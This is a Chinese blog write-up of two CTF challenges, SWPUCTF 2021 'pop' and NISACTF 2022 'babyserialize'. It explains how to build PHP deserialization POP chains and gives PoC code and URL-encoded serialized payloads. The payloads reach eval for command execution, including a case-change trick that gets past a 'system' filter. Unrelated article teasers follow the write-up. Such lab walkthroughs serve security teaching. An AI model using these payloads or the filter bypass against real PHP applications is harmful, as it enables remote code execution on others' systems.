php反序列化——pop链构造[SWPUCTF 2021 新生赛]pop [NISACTF 2022]babyserialize

构造pop链

[SWPUCTF 2021 新生赛]pop

用反推法

从后往前推

这题的最后一步很明显

只要给$admin和$passwd赋值 就会echo flag

所以反推法第一步就是要调用Getflag()函数 找到$this->w00m->{$this->w22m}();

$this->mw00->{$this->w22m}();的意思是调用当前对象的 w00m 属性中名为 $this->w22m 的方法。

所以只需

mw00=w44m  w22m = Getflag()即可调用Getflag()

这题的链条是(反推)

 class w44m中的Getflag() -> class w33m中的__toString() -> class w22m中的 __destruct()

具体的推导和赋值在注释里:

 <?phperror_reporting(0);show_source("index.php");class w44m{private $admin = 'aaa';protected $passwd = '123456';public function Getflag()//1.想办法调用Getflag()函数 找到$this->w00m->{$this->w22m}();{if ($this->admin === 'w44m' && $this->passwd === '08067') {include('flag.php');echo $flag;} else {echo $this->admin;echo $this->passwd;echo 'nono';}}}class w22m{public $w00m;public function __destruct()//3.反序列化$w00m时可调用{echo $this->w00m;//w00m = w33m}}class w33m{public $w00m;public $w22m;public function __toString()//2.想办法调用__toString() 找到echo $this->w00m;{$this->mw00->{$this->w22m}();//调用当前对象的 w00m 属性中名为 $this->w22m 的方法。//mw00=w44m  w22m = Getflag() return 0;}}$w00m = $_GET['w00m'];unserialize($w00m);

poc

class w44m{private $admin = 'w44m';protected $passwd = '08067';}class w22m{public $w00m;}class w33m{public $w00m;public $w22m;}$a = new w44m();$c = new w33m();
$c->w00m = $a;
$c->w22m = 'Getflag';
$b = new w22m();
$b->w00m = $c;echo serialize($b);
echo urlencode(serialize($b));?> 

因为有私有属性

直接urlencode 省的加%00了

payload:O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

[NISACTF 2022]babyserialize

先反序列化classNISA 看一下hint

<?php//include "waf.php";class NISA{public $fun = "show_me_flag";public $txw4ever;}$lcycb = new NISA();echo serialize($lcycb);?>

O:4:"NISA":2:{s:3:"fun";s:12:"show_me_flag";s:8:"txw4ever";N;}

告诉我们flag在根目录

这题最后一步也很清晰了

这里有一个命令执行函数

只要给txw4ever赋值一个类似

system(“ls”);

这样的值我们就成功getshell

这里的链小点复杂

我写在注释里

include "waf.php";class NISA{public $fun = "show_me_flag";public $txw4ever;public function __wakeup(){if ($this->fun == "show_me_flag") {hint();}}function __call($from, $val){$this->fun = $val[0];}public function __toString(){echo $this->fun; return " ";}public function __invoke()//1.调用__invoke() 找到$bb = $this->su; return $bb();(54){checkcheck($this->txw4ever);@eval($this->txw4ever);//1 shell}}class TianXiWei{public $ext;public $x;public function __wakeup()//5.反序列化 class TianXiWei 即可触发{$this->ext->nisa($this->x);//ext = class Ilovetxw}}class Ilovetxw{public $huang;public $su;public function __call($fun1, $arg){ //4.调用call 调用了对象里不存在的方法 找到 $this->ext->nisa($this->x);(37)$this->huang->fun = $arg[0];//huang=  class four}public function __toString()//2.调用__toString() 把对象被当成字符串调用 找调用字符串的指令 找到strtolower($this->a);(67){$bb = $this->su;return $bb();//su = class NISA}}class four{public $a = "TXW4EVER";private $fun = 'abc';public function __set($name, $value)//3.调用set() 条件:给不存在的属性赋值 找到$this->huang->fun = $arg[0];(48){$this->$name = $value;if ($this->fun = "sixsixsix") {strtolower($this->a);//a=class Ilovetxw }}}if (isset($_GET['ser'])) {@unserialize($_GET['ser']);} else {highlight_file(__FILE__);}

构造poc

//poc
class NISA{public $fun="lcycb";public $txw4ever="System('ls /');";}class TianXiWei{//keypublic $ext;//ext = class Ilovetxw $bpublic $x;
}class Ilovetxw{public $huang;//huang=  class four $cpublic $su;//su = class NISA $a}class four{public $a="TXW4EVER";//a=class Ilovetxw $bprivate $fun='abc';}$a = new NISA();
$b = new Ilovetxw();
$c = new four();
$key = new TianXiWei();
$b->su = $a;
$c->a = $b;
$b->huang = $c;
$key->ext = $b;
echo serialize($key);
echo "\n";
echo urlencode(serialize($key));

这里还有两个坑

1 .是要改变$fun 的值

不然无法绕过第一个if语句

回显的永远是那个hint

2.这里有一个waf.php过滤

system被过滤了

但只要大写就能绕过了

payload:

?ser=O:9:"TianXiWei":2:{s:3:"ext";O:8:"Ilovetxw":2:{s:5:"huang";O:4:"four":2:{s:1:"a";r:2;s:9:"%00four%00fun";s:3:"abc";}s:2:"su";O:4:"NISA":2:{s:3:"fun";s:5:"lcycb";s:8:"txw4ever";s:12:"System(ls /)";}}s:1:"x";N;}

?ser=O:9:"TianXiWei":2:{s:3:"ext";O:8:"Ilovetxw":2:{s:5:"huang";O:4:"four":2:{s:1:"a";r:2;s:9:"%00four%00fun";s:3:"abc";}s:2:"su";O:4:"NISA":2:{s:3:"fun";s:5:"lcycb";s:8:"txw4ever";s:27:"System("cat /fllllllaaag");";}}s:1:"x";N;}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/571804.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux课程____shell脚本应用

:一、认识shell 常用解释器 Bash , ksh , csh 登陆后默认使用shell&#xff0c;一般为/bin/bash&#xff0c;不同的指令&#xff0c;运行的环境也不同 二、 编写简单脚本并使用 # vim /frist.sh //编写脚本文件&#xff0c;简单内容 #&#xff01;/bin/bash …

C++ :STL中vector扩容机制

vector是STL提供的动态数组&#xff0c;它会在内部空间不够用时动态的调整自身的大小&#xff0c;调整过程中会有大量的数据拷贝&#xff0c;为了减少数据拷贝的次数vector会在调整空间的时候尽量多申请一些空间&#xff0c;这些预留出的空间可以很大程度上减少拷贝的发生。 在…

WPF —— ContextMenu右键菜单 Canvas控件详解

ContextMenu右键菜单的实例 ​​​​​​​WPF中的右键菜单主要是通过ContextMenu来实现&#xff0c; 在控件中使用ContextMenu 直接在控件的ContextMenu属性中关联即可。 <Label Content"右键弹出内容菜单" FontSize"20" Width"200" Heig…

Redis面试题-缓存穿透,缓存击穿,缓存雪崩

1、穿透: 两边都不存在&#xff08;皇帝的新装&#xff09; &#xff08;黑名单&#xff09; &#xff08;布隆过滤器&#xff09; 解释&#xff1a;请求的数据既不在Redis中也不在数据库中&#xff0c;这时我们创建一个黑名单来存储该数据&#xff0c;下次再有类似的请求进来…

Go第三方框架--gin框架(二)

4. gin框架源码–Engine引擎和压缩前缀树的建立 讲了这么多 到标题4才开始介绍源码&#xff0c;主要原因还是想先在头脑中构建起 一个大体的框架 然后再填肉 这样不容易得脑血栓。标题四主要涉及标题2.3的步骤一 也就是 标题2.3中的 粗线框中的内容 4.1 Engine 引擎的建立 见…

MySQL语句(补充)

目录 一、子查询 1.1.select 语句 1.1.1.相同表查询 1.1.2.多表查询 1.1.3.NOT 1.1.4. insert 1.1.5. update 1.1.6.delete 1.1.7.exists 1.1.8.as别名 二、MySql视图 2.1.视图与表的区别和联系 2.2.建立视图 2.3.修改视图表数据 三、NULL值 四、连接查询 4…

Android Studio详细安装教程及入门测试

Android Studio 是 Android 开发人员必不可少的工具。 它可以帮助开发者快速、高效地开发高质量的 Android 应用。 这里写目录标题 一、Android Studio1.1 Android Studio主要功能1.2 Android应用 二、Android Studio下载三、Android Studio安装四、SDK工具包下载五、新建测试…

以实践助力《银行保险机构数据安全管理办法》规范落地

日前&#xff0c;金融监管总局网站显示&#xff0c;为规范银行业保险业数据处理活动&#xff0c;保障数据安全&#xff0c;促进数据合理开发利用&#xff0c;金融监管总局起草了《银行保险机构数据安全管理办法&#xff08;征求意见稿&#xff09;》&#xff08;下称《办法》&a…

【C语言】strcmp 的使⽤和模拟实现

前言 这篇文章将要带我们去实现模拟一个strcmp函数 首先我们要知道strcmp函数的定义 strcmp()定义和用法 我们先看一下strcmp在cplusplus网站中的定义 链接: link int strcmp ( const char * str1, const char * str2 );比较两个字符串将 C 字符串 str1 与 C 字符串 str2 …

【物联网开源平台】tingsboard安装与编译

别看这篇了&#xff0c;这篇就当我的一个记录&#xff0c;我有空我再写过一篇&#xff0c;编译的时候出现了一个错误&#xff0c;然后我针对那一个错误执行了一个命令&#xff0c;出现了绿色的succes,我就以为整个tingsboard项目编译成功了&#xff0c;后面发现的时候&#xff…

Python中lambda函数使用方法

在Python中&#xff0c;lambda 关键字用于创建匿名函数&#xff08;无名函数&#xff09;&#xff0c;这些函数的特点是简洁、一次性使用&#xff0c;并且通常用于只需要一行表达式的简单场景。下面是lambda函数的基本结构和使用方法&#xff1a; 基本语法&#xff1a; lambd…

JRT菜单

上一章搭建了登录界面的雏形和抽取了登录接口。给多组使用登录和菜单功能提供预留&#xff0c;做到不强行入侵别人业务。任何产品只需要按自己表实现登录接口后配置到容器即可共用登录界面和菜单部分。最后自己的用户关联到JRT角色表即可。 登录效果 这次构建菜单体系 首先用…